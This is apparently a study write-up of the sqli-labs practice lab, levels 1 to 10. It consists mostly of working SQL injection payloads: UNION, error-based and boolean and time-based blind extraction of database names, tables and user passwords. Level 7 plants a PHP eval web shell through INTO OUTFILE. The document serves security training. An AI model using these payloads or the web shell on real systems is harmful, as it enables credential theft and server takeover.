sqllabs
sqllabs分四个阶段分别是
- Basic-Challenges
- Advanced-Injections
- Stacked Injections
- Challenge
Basic-Challenges
Less-1: GET-Error based- Single quotes -String
根据提示用id作为参数
http://192.168.43.85/sqllab/Less-1/?id=1
显示出用户名,密码了, 根据传入的id值的不同, 返回不同的用户名密码
加个引号出现报错,是字符型注入
http://192.168.43.85/sqllab/Less-1/?id=2'
''2'' LIMIT 0,1'
去掉成对引号======》 '2'' LIMIT 0,1
判断真实的sql语句, 大概为
select username, password from table where id = '2' limit 0,1
利用单引号闭合,–+注释语句, 布尔判断
http://192.168.43.85/sqllab/Less-1/?id=1' and 1=1 正常(+代表空格)
index.PHP?id=1' and 1=2 --+ 不显示用户名密码(查询无果)
判断存在注入点
【测试select字段数】
用oder by 排序语句可以判断查询字段有多少个
index.PHP?id=1' order by 3 --+ 正常
index.PHP?id=1' order by 4 --+ 报错
注意这里要让联合查询的结果显示, 要让前面结果为空, 可以用0或-1
index.PHP?id=0' union select 1,2,3 --+
Your Login name:2
Your Password:3
index.PHP?id=0' union select 1,database(),version() --+
Your Login name:security
Your Password:5.5.47
index.PHP?id=0' union select 1,group_concat(schema_name),version() from information_schema.schemata --+ // 查询数据库
group_concat能将查询的字段结果组合起来, 默认逗号分隔
information_schem 是MysqL里自带的数据表, 用于存储数据库元数据(关于数据的数据)
index.PHP?id=0' union select 1,group_concat(table_name),version() from information_schema.tables where table_schema='security' --+ // 查询数据表
index.PHP?id=0' union select 1,group_concat(column_name),version() from information_schema.columns where table_schema='security' and table_name='users' --+
// 查询列字段
index.PHP?id=0' union select 1,username,password from security.users limit 0,1 --+
index.PHP?id=0' union select 1,username,password from security.users limit 2,1 --+
// 查询数据
后面的关卡, 基本都是这个流程, 只不过绕过是多了限制
Less-2: GET-Error base-Intiger based
先加个引号, 看看会不会报错
near '' LIMIT 0,1' at line 1
去掉两边单引号
' LIMIT 0,1
判断真实的sql语句, 大概为
select username, password from table where id = 1 limit 0,1
与Less1类似,不过是整数型注入, 去掉引号即可
index.PHP?id=1 and 1=1 正常
index.PHP?id=1 and 1=2 不正常
index.PHP?id=1 order by 3
index.PHP?id=1 order by 4
index.PHP?id=0 union select 1,2,3
index.PHP?id=0 union select 1,database(),version()
index.PHP?id=0 union select 1,group_concat(schema_name),version() from information_schema.schemata
Less-3: GET-Error based- Single quotes twist -String
先加单引号试试
错误信息: near ''1'') LIMIT 0,1' at line 1
'1'') LIMIT 0,1
id通过单引号和括号闭合
语句逻辑: select * from tab where id = ('$id') limit 0,1
index.PHP?id=1') order by 3 --+ 正常
index.PHP?id=1') order by 4 --+ 报错
index.PHP?id=0') union select 1,2,3--+
index.PHP?id=0') union select 1,database(),version()--+
Less-4: GET-Error based- Double quotes -String
这一关加单引号不会报错,加两个单引号也没报错
报错信息: use near '"1"") LIMIT 0,1' at line 1
即, "1"") LIMIT 0,1
看来是用双引号 + 括号闭合了
语句逻辑: select * from tab where id = ("$id") limit 0,1
index.PHP?id=2") and 1=1 --+ 正常
index.PHP?id=2") and 1=2 --+ 不正常
index.PHP?id=2") order by 3--+ 正常
index.PHP?id=2") order by 4--+ 不正常
index.PHP?id=0") union select 1,username,password from security.users--+
Less-5: GET- Double Injection -String Quotes- String
报错 :use near ''1'' LIMIT 0,1' at line 1
'1'' LIMIT 0,1
绕过语句:index.PHP?id=1' and 1=2--+
index.PHP?id=1' order by 3--+
index.PHP?id=1' order by 4--+
这里可以判断和less-1是一样的闭合方式
这里虽然注入进去没有报错,但无法显示出我们想要的信息
这里参考https://www.2cto.com/article/201604/498394.html
利用count()、rand()、group by来进行注入
【注:如果只有少于3个表,用rand(),大于等于3个用rand(0)】
可以利用的sql语句
select count(*) from information_schema.tables group by concat('注入语句',';',floor(rand(0)*2));
也可以写成这样
select 1,count(*), concat('注入语句',' ;', floor(rand(0)*2)) as a from information_schema.tables group by a;
爆库:
index.PHP?id=1' union select 1,count(*), concat('; ',(select database()),' ;', floor(rand(0)*2)) as a from information_schema.tables group by a--+
爆表:
index.PHP?id=1' union select 1,count(*), concat('; ',(select table_name from information_schema.tables where table_schema='security' limit 0,1),' ;', floor(rand(0)*2)) as a from information_schema.tables group by a--+
【这里可以通过控制limit来输出】
爆列:
index.PHP?id=1' union select 1,count(*), concat('; ',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),' ;', floor(rand(0)*2)) as a from information_schema.tables group by a--+
爆字段:
index.PHP?id=1' union select 1,count(*), concat('; ',(select username from security.users limit 0,1),' ;', floor(rand(0)*2)) as a from information_schema.tables group by a--+
index.PHP?id=1' union select 1,count(*), concat('; ',(select password from security.users limit 0,1),' ;', floor(rand(0)*2)) as a from information_schema.tables group by a--+
Less-6: GET- Double Injection -Double Quotes- String
与less-5一样, 将单引号改成双引号
?id=1" union select 1,count(*), concat('; ',(select database()),' ;', floor(rand(0)*2)) as a from information_schema.tables group by a--+
Less-7: GET- Dump into outfile- String
加单引号index.PHP?id=1'
发现You have an error in your sql Syntax
尝试index.PHP?id=1' and 1=1 --+
index.PHP?id=1' and 1=2 --+
都报错
加双引号
index.PHP?id=1" and 1=1--+
index.PHP?id=1" and 1=2--+
查看源码
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
竟然是单引号和两个括号 - -。
index.PHP?id=1')) --+
根据提示You are in… Use outfile…
select * from users into outfile "/path/file.txt"
select "xxxxxxxx" into outfile "/path/file.txt"
可以通过写入一句话木马,获取靶机的所有文件
所以
注入语句:
这里可以通过outfile写入一句话木马,用菜刀连接【注意权限问题,有些时候没有写入权限】
这里的路径可以通过前几关获取
index.PHP?id=0' union select 1,concat(@@basedir,';;',@@datadir),3 --+
C:/PHPStudy/MysqL/ //安装路径
C:\PHPStudy\MysqL\data\ //数据路径
上传一句话木马
index.PHP?id=0')) UNION SELECT "<?PHP @eval($_POST['hello']);?>",2,3 into outfile "C:\\PHPStudy\\WWW\\sqllab\\a.PHP"--+
Less-8: GET- Blind - Boolian - Single Quotes
index.PHP?id=1' and 1=1--+ 正常 显示You are in...........
index.PHP?id=1' and 1=2--+ 不显示
index.PHP?id=1' order by 3--+ 正常
index.PHP?id=1' order by 4--+ 不显示
因为正常时,显示You are in…
这里可以通过盲注
先判断当前数据名的长度
index.PHP?id=1' and length(database())=8--+
猜测字符:
index.PHP?id=1' and ascii(substr(database(),1,1))>64--+ //64是@,65就是A,二分法判断
index.PHP?id=1' and ascii(substr(database(),1,1))>64--+ //64是@,65就是A,二分法判断
显示正常
index.PHP?id=1' and ascii(substr(database(),1,1))>96--+ //显示正常
index.PHP?id=1' and ascii(substr(database(),1,1))>112--+ //正常
index.PHP?id=1' and ascii(substr(database(),1,1))>112 //正常
index.PHP?id=1' and ascii(substr(database(),1,1))>120 //不显示
所以字符在112-120之间(包含120)
index.PHP?id=1' and ascii(substr(database(),1,1))>116 //不显示
index.PHP?id=1' and ascii(substr(database(),1,1))>114 //显示
index.PHP?id=1' and ascii(substr(database(),1,1))>115 //不显示
从这里可以判断ascii值为115,即’s’
其他字符同样如此
index.PHP?id=1' and ascii(substr(database(),2,1))>64
这里可以通过写脚本自动化注入,或者用burpsuite辅助注入
也可以这么注入
【猜解数据库】
index.PHP?id=1' and ((select count(schema_name) from information_schema.schemata) > 1)--+ //判断数据库数据量
index.PHP?id=1' and ((select length(schema_name) from information_schema.schemata limit 1,1) > 0)--+
//通过limit函数判断每一个数据库名的长度
index.PHP?id=1' and ascii(substr((select concat(SCHEMA_NAME) from information_schema.SCHEMATA limit 0,1),1,1))>64--+ //通过substr截取单个字符判断出数据库名
【猜解表名】
index.PHP?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1) >0 --+ // 才接security数据库中的表名长度
index.PHP?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+ //猜解security数据库表名
【猜解列字段】
index.PHP?id=1' and (select count(distinct column_name) from information_schema.columns where table_schema='security' and table_name='users' ) >2 --+ // 判断users表中列字段数,关键词 disTINCT 用于返回唯一不同的值
index.PHP?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1) >0 --+ //判断该列名长度
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+ //判断列字段名
比如已经猜解出用户名username字段
index.PHP?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))>48 --+
index.PHP?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=68 --+
index.PHP?id=1' and ascii(substr((select username from security.users limit 0,1),2,1))=117 --+
...
index.PHP?id=1' and ascii(substr((select password from security.users limit 0,1),1,1))>48 --+
这样就可以猜解出用户名密码 Dumb:Dumb
Less-9: GET- Blind - Time based - Single Quotes
这次注入无论输入什么都只返回You are in…
所以传统的报错注入,基于页面回显的盲注都行不通的
这里就要用到基于时间的盲注,基于时间的盲注就是传统盲注的升级版
length(database())=8
if((length(database())>5,sleep(5),0)
【if语句判断
if(判断语句,语句1,语句2)
这里如果为真执行语句1,假执行语句2
】
【判断数据库长度】
index.PHP?id=1' and if((length(database())>0),sleep(5),null) --+ //判断正确页面5秒后响应
index.PHP?id=1' and if((length(database())>8),sleep(5),null) --+ //错误直接返回
这里判断处理
这里判断处理长度为7
【判断当前数据库名字】
index.PHP?id=1' and if(ascii(substr(database(),1,1))>114,sleep(5),null) --+ //5秒后回显
index.PHP?id=1' and if(ascii(substr(database(),1,1))>115,sleep(5),null) --+ //立即回显
所以该字符ascii值为115,即为s
【判断数据库表名长度】
index.PHP?id=1' and if((select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)>5,sleep(5),null) --+ //5秒后回显
index.PHP?id=1' and if((select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)>6,sleep(5),null) --+ //立即回显
所以 第一个表名长度为6
【判断列字段长度】
index.PHP?id=1' and if((select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)>1,sleep(5),null) --+ //5s回显
index.PHP?id=1' and if((select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)>2,sleep(5),null) --+ //立即回显
【判断列名称】
index.PHP?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104,sleep(5),null) --+
index.PHP?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105,sleep(5),null) --+
这样就可以判断出第一个字符为‘i’,ascii值为105
其他列字段,‘username’,‘password’
【判断字段内容】
–判断用户名:
先判断长度:
index.PHP?id=1' and if((select length(username) from security.users limit 0,1)>3,sleep(5),null) --+
index.PHP?id=1' and if((select length(username) from security.users limit 0,1)>4,sleep(5),null) --+
判断字段内容:
index.PHP?id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))>67,sleep(5),null) --+
index.PHP?id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))>68,sleep(5),null) --+
判断出第一个字符为‘D’,ascii值为68
–判断密码:
index.PHP?id=1' and if((select length(password) from security.users limit 0,1)>3,sleep(5),null) --+
index.PHP?id=1' and if((select length(password) from security.users limit 0,1)>3,sleep(5),null) --+
index.PHP?id=1' and if(ascii(substr((select password from security.users limit 0,1),1,1))>67,sleep(5),null) --+
index.PHP?id=1' and if(ascii(substr((select password from security.users limit 0,1),1,1))>68,sleep(5),null) --+
Less-10: GET- Blind - Time based - Double Quotes
less10与less9注入方法一样,只是从单引号闭合变成双引号闭合
index.PHP?id=1" and if((length(database())>0),sleep(5),null) --+